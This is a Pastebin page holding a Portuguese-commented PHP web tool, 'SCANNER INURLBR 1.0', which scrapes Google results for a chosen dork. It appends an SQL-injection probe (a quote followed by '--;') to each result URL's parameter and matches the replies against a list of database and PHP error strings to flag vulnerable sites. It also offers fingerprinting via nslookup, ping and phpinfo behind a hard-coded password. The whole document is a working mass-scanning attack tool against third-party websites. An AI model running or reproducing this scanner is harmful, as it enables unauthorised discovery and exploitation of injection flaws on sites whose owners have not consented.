API tools faq
paste
Googleinurl

BOT - SCANNER PRIV8 / - INURLBR

Googleinurl
Sep 13th, 2013
3,256
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.75 KB
raw download clone embed print report
  1. <?php
  2. /*
  3.   ##########################################################################################
  4.  *  SCANNER INURLBR     1.0
  5.  *  PHP Version         5.4.7
  6.  *  php5-curl           LIB
  7.  *  cURL support    enabled
  8.  *  cURL Information    7.24.0
  9.  *  Apache              2.4
  10.  *  allow_url_fopen =   On
  11.  *  Motor de busca      GOOGLE
  12.  *  Permissão            Leitura & Escrita
  13.  *  -------------------------------------------------------------------------------------
  14.  *  BUSCA POSSÍVEIS VULNERABILIDADES
  15.  *  SQLI(MySQL,MS ACCESS,Microsoft SQL Server,ORACLE,POSTGRESQL) OU ERROS DE PROGRAMAÇÃO.
  16.  *  
  17.  *  GRUPO GOOGLEINURL BRASIL - PESQUISA AVANÇADA.
  18.  *  fb.com/GoogleINURL
  19.  *  twitter.com/GoogleINURL
  20.  *  blog.inurl.com.br
  21.   ##########################################################################################
  22.  */
  23.  
  24. $googleHost = "www.google.com.br www.google.pt www.google.com.bo www.google.com.my www.google.ru
  25. www.google.co.jp www.google.com.ar www.google.es www.google.it www.google.co.uk
  26. www.google.com www.google.ac www.google.ad www.google.ae www.google.com.af
  27. www.google.com.ag www.google.com.ai www.google.am www.google.it.ao www.google.com.ar
  28. www.google.as www.google.at www.google.com.au www.google.az www.google.ba www.google.com.bd
  29. www.google.be www.google.bf www.google.bg www.google.com.bh www.google.bi www.google.bj
  30. www.google.com.bn www.google.com.bo www.google.com.br www.google.bs www.google.co.bw
  31. www.google.com.by www.google.com.bz www.google.ca www.google.com.kh www.google.cc
  32. www.google.cd www.google.cf www.google.cat www.google.cg www.google.ch www.google.ci
  33. www.google.co.ck www.google.cl www.google.cm www.google.cn www.google.com.co www.google.co.cr
  34. www.google.com.cu www.google.cv www.google.cz www.google.de www.google.dj www.google.dk www.google.dm
  35. www.google.com.do www.google.dz www.google.com.ec www.google.ee www.google.com.eg www.google.es
  36. www.google.com.et www.google.fi www.google.com.fj www.google.fm www.google.fr www.google.ga
  37. www.google.ge www.google.gf www.google.gg www.google.com.gh www.google.com.gi www.google.gl
  38. www.google.gm www.google.gp www.google.gr www.google.com.gt www.google.gy www.google.com.hk
  39. www.google.hn www.google.hr www.google.ht www.google.hu www.google.co.id www.google.iq
  40. www.google.ie www.google.co.il www.google.im www.google.co.in www.google.io www.google.is
  41. www.google.it www.google.je www.google.com.jm www.google.jo www.google.co.jp www.google.co.ke
  42. www.google.ki www.google.kg www.google.co.kr www.google.com.kw www.google.kz www.google.la
  43. www.google.com.lb www.google.com.lc www.google.li www.google.lk www.google.co.ls www.google.lt
  44. www.google.lu www.google.lv www.google.com.ly www.google.co.ma www.google.md www.google.me
  45. www.google.mg www.google.mk www.google.ml www.google.mn www.google.ms www.google.com.mt
  46. www.google.mu www.google.mv www.google.mw www.google.com.mx www.google.com.my www.google.co.mz
  47. www.google.com.na www.google.ne www.google.com.nf www.google.com.ng www.google.com.ni www.google.nl
  48. www.google.no www.google.com.np www.google.nr www.google.nu www.google.co.nz www.google.com.om
  49. www.google.com.pa www.google.com.pe www.google.com.ph www.google.com.pk www.google.pn
  50. www.google.com.pr www.google.ps www.google.pt www.google.com.py www.google.com.qa www.google.ro
  51. www.google.rs www.google.ru www.google.rw www.google.com.sa www.google.com.sb www.google.sc
  52. www.google.se www.google.com.sg www.google.sh www.google.si www.google.sk www.google.com.sl
  53. www.google.sn www.google.sm www.google.so www.google.st www.google.com.sv www.google.td
  54. www.google.tg www.google.co.th www.google.tk www.google.tl www.google.tm www.google.to www.google.com.tn
  55. www.google.com.tr www.google.tt www.google.com.tw www.google.co.tz www.google.com.ua www.google.co.ug
  56. www.google.co.uk www.google.us www.google.com.uy www.google.co.uz www.google.com.vc www.google.co.ve
  57. www.google.vg www.google.co.vi www.google.com.vn www.google.vu www.google.ws www.google.co.za
  58. www.google.co.zm www.google.co.zw ";
  59. $googleHost = explode(" ", $googleHost);
  60.  
  61.  
  62.  
  63.  
  64. error_reporting(0);
  65. set_time_limit(0);
  66. ini_set('memory_limit', '64M');
  67. ini_set("max_execution_time", 0);
  68. ini_set("allow_url_fopen", 1);
  69. ini_set("default_socket_timeout", 5);
  70. header('Content-Type: text/html; charset=UTF-8');
  71.  
  72. if (!isset($_SESSION)) {
  73.     session_start();
  74. }
  75. if (isset($_GET['senha']) && $_GET['senha'] == 'googleinurl') { // VALIDANDO SENHA:googleinurl
  76.     $_SESSION['valida'] = 1; //SETANDO O VALIDADOR DA PAGINA
  77. }
  78. if ($_SESSION['valida'] != 1) { // SE _SESSION VALIDA for diferente de 1 ele não deixa pagina ser carregada
  79.     echo 'SEM ACESSO!';
  80.     unset($_SESSION['valida']);
  81.     EXIT();
  82. }
  83. if (isset($_GET['sair']) && $_GET['sair'] == 'ok') { //SAIR DO SISTEMA
  84.     unset($_SESSION['valida']);
  85.     session_destroy();
  86.     EXIT();
  87. }
  88. if (preg_match('|MSIE ([0-9].[0-9]{1,2})|', $_SERVER['HTTP_USER_AGENT'])) {
  89.     echo "<h1 style='text-size:14px;text-align:center;'>Favor usar um navegador que preste!</br>Please use a browser that pay!<br>
  90.          <img src='http://1.bp.blogspot.com/_0MpBNlJrdds/TU0x2KYVbQI/AAAAAAAAAbM/ryjvYAy32K4/s320/Fuck%2BYou.png'></h1>";
  91.     EXIT();
  92. }
  93.  
  94. function plus() {
  95.     ob_flush();
  96.     flush();
  97. }
  98.  
  99. function nslookup($dominio, $op) {
  100.     system("nslookup -querytype={$op} " . escapeshellarg($dominio), $dados);
  101.  
  102.     if ($dados[0] == '') {
  103.         print_r("$op Sem informações\n");
  104.         return FALSE;
  105.     }
  106.     return print_r($dados);
  107. }
  108.  
  109. function ping($dominio) {
  110.     $comando = (strstr(PHP_OS, 'LINUX') ? '-c 4' : NULL);
  111.     system("ping {$comando} " . escapeshellarg($dominio), $dados);
  112.  
  113.     if ($dados[0] == '') {
  114.         print_("$op Sem informações\n");
  115.         return FALSE;
  116.     }
  117.     return print_r($dados);
  118. }
  119.  
  120. $stylePags = "<link href='http://fonts.googleapis.com/css?family=Aldrich' rel='stylesheet' type='text/css'>
  121.    <style>
  122.      body
  123.        {
  124.            background-color:#000000;
  125.            background-repeat: no-repeat;
  126.            background-attachment: fixed;
  127.            background-image: url('http://4.bp.blogspot.com/-oshfxKaYckY/Umf7Bn79PKI/AAAAAAAACzE/yGU2KXxqc-k/s1600/Black-Texture-Background.png');
  128.            background-width: 100%;
  129.            background-height: 100%;
  130.            background-size: 100%;
  131.            font-family: 'Aldrich', sans-serif;
  132.            _height: 100%;
  133.            _overflow: auto;
  134.  
  135.  
  136.        }
  137.        h1
  138.        {  
  139.            color:#006400;
  140.            text-align:center;
  141.        }
  142.        info{
  143.            color:#fff;
  144.            text-align:center;
  145.  
  146.        }
  147.        cont{
  148.            color:#900000;
  149.            text-align:center;
  150.  
  151.        }
  152.        vull{
  153.            color:#900000;
  154.  
  155.        }
  156.        campoHttp{
  157.            color:#0066FF;
  158.        }
  159.        valorHttp{
  160.            color:#003399;
  161.        }
  162.  
  163.        p,label
  164.        {
  165.            font-size:15px;
  166.            color:#00FF00;
  167.        }
  168.        a:link, a:visited, a:active {
  169.            text-decoration: none;
  170.            color:#fff;
  171.        }
  172.        a:hover {text-decoration: underline;  
  173.                 color:#fff;
  174.                 font-size:105%;
  175.        }
  176.        ico{
  177.            width: 16px;
  178.            height: 16px;
  179.        }
  180.        .bordas {
  181.            background:#000;
  182.            border-color: #1C1C1C;
  183.            border-width: 1px;
  184.            border-style: solid;
  185.            margin: auto;
  186.            padding:10px;
  187.            -moz-border-radius:7px;
  188.            -webkit-border-radius:7px;
  189.            border-radius:7px;
  190.            opacity:0.75;
  191.            -moz-opacity: 0.75;
  192.            filter: alpha(opacity=75);
  193.        }
  194.        .resultado {
  195.            background:#000;
  196.            background-image: url('http://i.imgur.com/zHNCk2e.gif');
  197.            border-color: #fff;
  198.            border-width: 1px;
  199.            border-style: solid;
  200.            color:#fff;
  201.            margin: auto;
  202.            width: 95%;
  203.            padding:10px;
  204.            -moz-border-radius:7px;
  205.            -webkit-border-radius:7px;
  206.            border-radius:7px;
  207.            opacity:0.85;
  208.            -moz-opacity: 0.85;
  209.            filter: alpha(opacity=85);
  210.  
  211.  
  212.  
  213.        }
  214.        .botao {
  215.            background-color: #000;
  216.            font: 14px Arial, sans-serif;
  217.            color: #006400;
  218.        }
  219.        input {
  220.            background:#000;
  221.            border:1px dashed #006400;
  222.            color: #fff;
  223.            -moz-border-radius:7px;
  224.            -webkit-border-radius:7px;
  225.            border-radius:7px;
  226.        }  
  227.         select {
  228.            background:#000;
  229.            border:1px dashed #006400;
  230.            color: #fff;
  231.            -moz-border-radius:7px;
  232.            -webkit-border-radius:7px;
  233.            border-radius:7px;
  234.        }
  235.  
  236.  
  237.        #menu-vertical{
  238.            position:fixed;
  239.            top:120px;
  240.            overflow:hidden;
  241.        }
  242.  
  243.        </style>";
  244. $desc = "<center>
  245. <p>
  246. <a href='http://blog.inurl.com.br' title='BLOG GOOGLE INURL - BUSCA AVANÇADA' alt='BLOG INURL - BUSCA AVANÇADA'>[ blog.inurl.com.br ] - " . date('d/m/Y H:i:s') . "</a>
  247. </p>
  248. </center>";
  249.  
  250. if ($_GET['comando'] == 'phpinfo') {
  251.     echo $stylePags . "<style>body {background-image: url('https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-prn2/1393784_621123304605061_2072400223_n.jpg');}</style>";
  252.     phpinfo();
  253.     EXIT();
  254. }
  255. if ($_GET['comando'] == 'cript') {
  256.     echo '<form action="bot.php" method="post" align="center">
  257.             <label>CRIT.: <input type="text"  name="achar" size="40"></label>
  258.             <label><input class="botao" type="submit" value="Pesquisar..."></label>
  259.          </form>';
  260.     echo $stylePags;
  261.     EXIT();
  262. }
  263. if ($_GET['comando'] == 'fingeprint') {
  264.     echo $stylePags . "<style>body {background-image: url('https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-prn2/1393784_621123304605061_2072400223_n.jpg');}</style>";
  265.     $valor = (isset($_POST['servidor'])) ? $_POST['servidor'] : NULL;
  266.     echo "<div class='resultado'><form action='bot.php?comando=fingeprint' method='post' align='center' >
  267.             <label>SERVIDOR.: <input type='text'  value='{$valor}' name='servidor' size='40'></label>
  268.             <label><input class='botao' type='submit' value='FINGEPRINT...'></label>
  269.             <div class='resultado'>HOST ou IP Ex:google.com.br ou 190.98.170.158</div>
  270.          </form><pre><div class='resultado'><info>RESULTADO: ";
  271.     if ($valor) {
  272.         echo '<p><info>RESPOSTA HTTP:</info></p><campoHttp>';
  273.         var_dump(get_headers($_POST['servidor'], 1));
  274.         var_dump(infoserver($_POST['servidor'], 1));
  275.         echo '</campoHttp><p><info>NSLOOKUP MX:</info></p><campoHttp>';
  276.         nslookup($_POST['servidor'], "MX");
  277.         echo '</campoHttp><p><info>NSLOOKUP TXT:</info></p><campoHttp>';
  278.         nslookup($_POST['servidor'], "TXT");
  279.         echo '</campoHttp><p><info>NSLOOKUP NS:</info></p><campoHttp>';
  280.         nslookup($_POST['servidor'], "NS");
  281.         echo '</campoHttp><p><info>NSLOOKUP CNAME:</info></p><campoHttp>';
  282.         nslookup($_POST['servidor'], "CNAME");
  283.         echo '<p><info>RESPOSTA PING:</info></p><campoHttp>';
  284.         ping($_POST['servidor']);
  285.         echo '</info></div>';
  286.     }
  287.     EXIT();
  288. }
  289.  
  290. $_SESSION['vull_style'] = NULL;
  291. $_SESSION['resultado_vull'] = NULL;
  292. ?>
  293. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
  294. <head>
  295.     <title>SCANNER INURLBR 1.0 - [ blog.inurl.com.br ]</title>
  296.  
  297.     <?php echo $stylePags; ?>
  298.  
  299.     <script type="text/javascript">
  300.  
  301.         function popUpCal(url)
  302.         {
  303.             var width = screen.width;
  304.             var height = screen.height;
  305.             var left = parseInt((screen.availWidth / 2) - (width / 2));
  306.             var top = parseInt((screen.availHeight / 2) - (height / 2));
  307.             var windowFeatures = "width=1000,height=1000,scrollbars=1,status=0,resizable=1,left=" + left + ",top=" + top +
  308.                     "screenX=" + left + ",screenY=" + top + "";
  309.  
  310.             window.open(url + "&w=" + width + "&h=" + height, "", windowFeatures, "GET");
  311.         }
  312.     </script>
  313. </head>
  314. <body >
  315. <center>
  316.     <img src='http://2.bp.blogspot.com/-yETqu9tdT50/UlhxshIXcUI/AAAAAAAACus/kYGP_3pXpTs/s1600/logo.png' style='height: 250px;'/><br>
  317.     <?php echo $desc; ?>
  318.  
  319. </center>
  320.  
  321. <div class='resultado' >
  322.  
  323.     <form action="bot.php" method="post">
  324.         <label>*DORK...: <input type="text" value='<?php echo isset($_POST['dork']) ? $_POST['dork'] : NULL; ?>'  name="dork" size="55"></label>
  325.         <label>PROXY..:  <input type="text" value='<?php echo isset($_POST['proxy']) ? $_POST['proxy'] : NULL; ?>' name="proxy" size="15"></label>
  326.         <label>PORTA..:  <input type="text" value='<?php echo isset($_POST['porta']) ? $_POST['porta'] : NULL; ?>' name="porta" size="9"></label> /
  327.         <label><input class="botao" type="submit" value="Pesquisar..."></label>
  328.         <label>HOST GOOGLE..:
  329.             <?php
  330.             echo '<select name="googleHost">';
  331.             foreach ($googleHost as $key => $value) {
  332.                 $selct = ($value == $_POST['googleHost']) ? 'selected' : NULL;
  333.                 echo (isset($value)) ? "<option value='{$value}' {$selct}>{$value}</option>" : NULL;
  334.             }
  335.             echo '</select>';
  336.             ?>
  337.         </label>
  338.         <label><a href="bot.php?sair=ok" style='margin:10px;'>(x)</a></label>
  339.         <p>
  340.             <label>*ARQUIVO SAÍDA.: <input type="text" value='<?php echo isset($_POST['arquivo']) ? $_POST['arquivo'] : 'resultados.txt'; ?>' name="arquivo" size="30"></label>
  341.             <label>0xEXPL01T.: <input type="text" value="<?php echo isset($_POST['exploit']) ? $_POST['exploit'] : "'0x272D2D3B"; ?>" name="exploit" size="40"></label>
  342.             <label>ACHAR ERRO.: <input type="text" value="<?php echo isset($_POST['achar']) ? $_POST['achar'] : NULL; ?>" name="achar" size="40"></label>
  343.         </p>
  344.         <p>
  345.             <label>*BUSCAR ERROS: <input type="radio" name="tipoerro" value="padrao" <?php echo ($_POST['tipoerro'] == 'padrao') ? 'checked' : NULL; ?>>[ PADRÃO ] / </label>
  346.             <label> <input type="radio" name="tipoerro" value="personalizado" <?php echo ($_POST['tipoerro'] == 'personalizado') ? 'checked' : NULL; ?>>[ PERSONALIZADO ]</label>
  347.             <label><a href="#" style='margin:5px;' onclick="javascript:popUpCal('bot.php?comando=phpinfo')"> (INFOPHP) </a></label>
  348.             <label><a href="#" style='margin:5px;' onclick="javascript:popUpCal('bot.php?comando=cript')"></a></label>
  349.             <label><a href="#" style='margin:5px;' onclick="javascript:popUpCal('bot.php?comando=fingeprint')"> (FINGEPRINT) </a></label>
  350.         </p>
  351.     </form>
  352. </div>
  353.  
  354. <div class='resultado' >
  355.     <?php
  356.     $config[] = array();
  357.     $config['dork'] = urlencode(opcao(isset($_POST['dork']) ? $_POST['dork'] : '', "DORK!"));
  358.     $config['host'] = opcao($_POST['googleHost'], "HOST GOOGLE!");
  359.     $config['arquivo'] = opcao($_POST['arquivo'], "ARQUIVO!");
  360.     $config['tipoerro'] = opcao($_POST['tipoerro'], "TIPO DE ERRO!");
  361.     $config['ipProxy'] = (isset($_POST['proxy']) && !empty($_POST['proxy'])) ? $_POST['proxy'] : NULL;
  362.     $config['porta'] = (isset($_POST['porta']) && !empty($_POST['porta'])) ? $_POST['porta'] : NULL;
  363.     echo (!isset($_POST['exploit']) && empty($_POST['exploit'])) ? '<info>EXPLOIT SEM DEFINIÇÃO!</info>' : NULL;
  364.  
  365.     $config['url'] = "/search?q={$config['dork']}&num=1500&btnG=Search";
  366.     $config['port'] = 80;
  367.     $config['host'] = trim($config['host']);
  368.     $packet = "GET {$config['url']} HTTP/1.0\r\n";
  369.     $packet.="Host: {$config['host']}\r\n";
  370.     $packet.="Connection: Close\r\n\r\n";
  371.  
  372.     function opcao($valor, $op) {
  373.  
  374.         if (isset($valor) && !empty($valor)) {
  375.  
  376.             return $valor;
  377.         } else {
  378.  
  379.             echo "<info>FALTA DEFINIR..::: {$op}</info>
  380.            {$desc}";
  381.             exit();
  382.         }
  383.     }
  384.  
  385.     function eviarPacote($packet, $config) {
  386.  
  387.         if (isset($config['ipProxy'])) {
  388.             $ock = fsockopen($config['ipProxy'], $config['porta']);
  389.             if (!$ock) {
  390.                 echo "<info>Proxy não responde {$config['ipProxy']} : {$config['porta']}</info>";
  391.                 die;
  392.             }
  393.         } else {
  394.  
  395.             $ock = fsockopen(gethostbyname($config['host']), $config['port']);
  396.             if (!$ock) {
  397.                 echo "<info>Host não responde {$config['host']} : {$config['port']}</info>";
  398.                 die;
  399.             }
  400.         }
  401.  
  402.         fputs($ock, $packet);
  403.         $buffer = NULL;
  404.         while (!feof($ock)) {
  405.             $buffer.=fgets($ock);
  406.         }
  407.         fclose($ock);
  408.         return($buffer);
  409.     }
  410.  
  411.     function infoserver($url_, $op = null) {
  412.  
  413.         $c = curl_init();
  414.         curl_setopt($c, CURLOPT_URL, $url_);
  415.         curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.' . date('s') . '(Windows; U; Windows NT 6.' . date('s') . '; en-US; rv:1.' . date('s') . '.1.2) Gecko/2009072' . date('s') . ' Firefox/3.' . date('s') . '.2 GTB5');
  416.         curl_setopt($c, CURLOPT_HEADER, 1);
  417.         curl_setopt($c, CURLOPT_NOBODY, 0);
  418.         curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  419.         curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
  420.         curl_setopt($c, CURLOPT_FRESH_CONNECT, 1);
  421.         curl_setopt($c, CURLOPT_VERBOSE, 1);
  422.         curl_setopt($c, CURLOPT_COOKIEFILE, 'cookie.txt');
  423.         curl_setopt($c, CURLOPT_COOKIEJAR, 'cookie.txt');
  424.  
  425.         $corpo = (curl_exec($c));
  426.         $server = curl_getinfo($c);
  427.         $sys = get_headers($url_);
  428.  
  429.         if (isset($corpo)) {
  430.  
  431.             if (isset($op)) {
  432.                 return $server;
  433.             }
  434.  
  435.             $dadoTipoBD = verificaErro($corpo);
  436.             $_SESSION['vull_style'] = (isset($dadoTipoBD) && !empty($dadoTipoBD)) ? 'style="color:#006400;"' : NULL;
  437.             $_SESSION['resultado_vull'].=(isset($dadoTipoBD) && !empty($dadoTipoBD)) ? "|{$url_}" : NULL;
  438.         } else {
  439.  
  440.             return FALSE;
  441.         }
  442.  
  443.         return $info = "
  444.            <campoHttp><img src='http://icons.iconarchive.com/icons/fatcow/farm-fresh/24/counter-icon.png'/>/ HTTP_CODE:</campoHttp>
  445.            <valorHttp>{$server['http_code']}</valorHttp>
  446.            <campoHttp><img src='http://icons.iconarchive.com/icons/fatcow/farm-fresh/24/ip-class-icon.png'/>/ IP SERVER:</campoHttp>
  447.            <valorHttp>{$server['primary_ip']}</valorHttp>  
  448.            <campoHttp><img src='http://icons.iconarchive.com/icons/fatcow/farm-fresh/24/door-in-icon.png'/>/ PORTA SERVER:</campoHttp>
  449.            <valorHttp>{$server['primary_port']}</valorHttp>
  450.            <campoHttp><img src='http://icons.iconarchive.com/icons/fatcow/farm-fresh/24/computer-go-icon.png'/>/ WEB SERVER:</campoHttp>
  451.            <valorHttp>{$sys['2']}</valorHttp><br>
  452.            <vull>{$dadoTipoBD}</vull>
  453.            ";
  454.     }
  455.  
  456.     function formatarResult($html) {
  457.  
  458.         preg_match_all('#\b((((ht|f)tps?://)|(www|ftp)\.)[a-zA-Z0-9\.\#\@\:%_/\?\=\~\-]+)#i', $html, $match);
  459.         $contUrl = 1;
  460.         $contTotal = 0;
  461.         $match[1] = array_unique($match[1]);
  462.         plus();
  463.         for ($i = 0; $i < count($match[1]); $i++) {
  464.  
  465.             if (isset($match[1][$i]) && !strstr($match[1][$i], "google") && !strstr($match[1][$i], "youtube") && !strstr($match[1][$i], "orkut") && !strstr($match[1][$i], "schema") && !strstr($match[1][$i], "blogger")) {
  466.  
  467.                 $info = infoserver(gerarErroDB(urldecode($match[1][$i])));
  468.                 $url = gerarErroDB(urldecode($match[1][$i]));
  469.                 $url = "<a target='_black' href={$url} {$_SESSION['vull_style']}>{$url}</a>";
  470.  
  471.                 echo "<p class='bordas'>
  472.                      <info>[<cont>{$contUrl}</cont>] - </info>  <url>{$url}</url> </br>{$info}
  473.               </p>";
  474.                 $contUrl++;
  475.                 $contTotal++;
  476.             }
  477.         }
  478.         plus();
  479.         $resultado = (isset($_SESSION['resultado_vull'])) ? $_SESSION['resultado_vull'] : exit();
  480.         $resultado = explode("|", $resultado);
  481.         $contRes = count($resultado) - 1;
  482.         $resultadotxt = NULL;
  483.         $nomeArquivo = "{$_POST['arquivo']}";
  484.         $resultadotxt = base64_decode("U0NBTk5FUiBJTlVSTEJSIDEuMCAtIFsgYmxvZy5pbnVybC5jb20uYnIgXQ==") . " /DATA:" . date("d/m/Y H:i:s") . " /DORK: {$_POST['dork']}  /EXPLOIT: {$_POST['exploit']}\r\nTOTAL VULL:{$contRes}\r\n " . implode("\r\n", $resultado) . "\r\n\r\n";
  485.         $resultado = implode("<br>", $resultado);
  486.  
  487.  
  488.         print_r("<div class='resultado'>
  489.                 <p>TOTAL DE URL's: <info>{$contTotal}</info></p>
  490.                 <p>EXPLOIT USADO: <info>{$_POST['exploit']}</info></p>    
  491.                 <p>DORK: <info>{$_POST['dork']}</info></p>
  492.          <p>TOTAL DE POSSÍVEIS VULL: <info>{$contRes}</info></p>
  493.          <p>ARQUIVO COM RESULTADO: <info><a href='{$nomeArquivo}' target='_black'>{$nomeArquivo}</a></info></p>
  494.          <p>LISTA: </p>
  495.          <p>{$resultado}<p>
  496.          </div>");
  497.  
  498.         $_SESSION['resultado_vull'] = NULL;
  499.         $abrirtxt = fopen($nomeArquivo, "a");
  500.         if ($abrirtxt == false) {
  501.             die('Não foi possível criar o arquivo.');
  502.         }
  503.         fwrite($abrirtxt, $resultadotxt);
  504.         fclose($abrirtxt);
  505.     }
  506.  
  507.     function validaBD($html_, $verificar, $bd) {
  508.  
  509.         return (strstr($html_, $verificar)) ? $bd : null;
  510.     }
  511.  
  512.     function verificaErro($html_) {
  513.  
  514.         #ERROS BANCO DE DADOS
  515.        if (isset($_POST['tipoerro']) && $_POST['tipoerro'] == 'padrao') {
  516.             $erro['MYSQL-01'] = 'mysql_';
  517.             $erro['MYSQL-02'] = 'You have an error in your SQL syntax;';
  518.             $erro['MYSQL-03'] = 'Warning: mysql_';
  519.             $erro['MYSQL-04'] = 'function.mysql';
  520.             $erro['MYSQL-05'] = 'MySQL result index';
  521.             $erro['MYSQL-06'] = 'syntax;';
  522.             $erro['MYSQL-07'] = 'MySQL';
  523.  
  524.             $erro['MICROSOFT-01'] = 'Microsoft JET Database';
  525.             $erro['MICROSOFT-02'] = 'ODBC Microsoft Access Driver';
  526.             $erro['MICROSOFT-03'] = '500 - Internal server error';
  527.             $erro['MICROSOFT-04'] = 'Microsoft OLE DB Provider';
  528.             $erro['MICROSOFT-05'] = 'Unclosed quotes';
  529.             $erro['MICROSOFT-06'] = 'ADODB.Command';
  530.             $erro['MICROSOFT-07'] = 'ADODB.Field error';
  531.             $erro['MICROSOFT-08'] = 'Microsoft VBScript';
  532.  
  533.             $erro['ORACLE-01'] = 'Microsoft OLE DB Provider for Oracle';
  534.             $erro['ORACLE-02'] = 'ORA-';
  535.  
  536.             $erro['POSTGRESQL-01'] = 'pg_';
  537.             $erro['POSTGRESQL-02'] = 'Warning: pg_';
  538.             $erro['POSTGRESQL-03'] = 'PostgreSql Error:';
  539.  
  540.             #ERROS PHP
  541.            $erro['ERROPHP-01'] = 'Warning: include';
  542.             $erro['ERROPHP-02'] = 'Fatal error: include';
  543.             $erro['ERROPHP-03'] = 'Warning: require';
  544.             $erro['ERROPHP-04'] = 'Fatal error: require';
  545.             $erro['ERROPHP-05'] = 'ADODB_Exception';
  546.  
  547.             #ERROS ASP
  548.            $erro['ERROASP-01'] = 'Version Information: Microsoft .NET Framework';
  549.             $erro['ERROASP-02'] = "Server.Execute Error";
  550.  
  551.             #ERROS INDEFINIDOS
  552.            $erro['INDEFINIDO-01'] = 'SQL';
  553.             $erro['INDEFINIDO-02'] = 'Fatal error';
  554.             $erro['INDEFINIDO-03'] = 'Warning';
  555.         } else {
  556.  
  557.             $erro['ERRRO-PERSONALIZADO'] = $_POST['achar'];
  558.         }
  559.  
  560.         foreach ($erro as $campo => $valor) {
  561.  
  562.             if (validaBD($html_, $erro[$campo], $campo)) {
  563.                 return("Tipo de erro: {$campo}  -  ERRO: {$erro[$campo]}");
  564.             }
  565.         }
  566.     }
  567.  
  568.     function gerarErroDB($_url) {
  569.  
  570.         $_url = explode("=", $_url);
  571.         $get = max(array_keys($_url));
  572.         $get = $_url[$get];
  573.         $config['exploit'] = (isset($_POST['exploit'])) ? $_POST['exploit'] : NULL;
  574.         return implode("=", str_replace($get, $get . $config['exploit'], $_url));
  575.     }
  576.  
  577.     $html = eviarPacote($packet, $config);
  578.  
  579.     print_r(formatarResult($html));
  580.  
  581.     echo $desc;
  582.     ?>
  583.  
  584. </div>
  585. </body>
RAW Paste Data
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!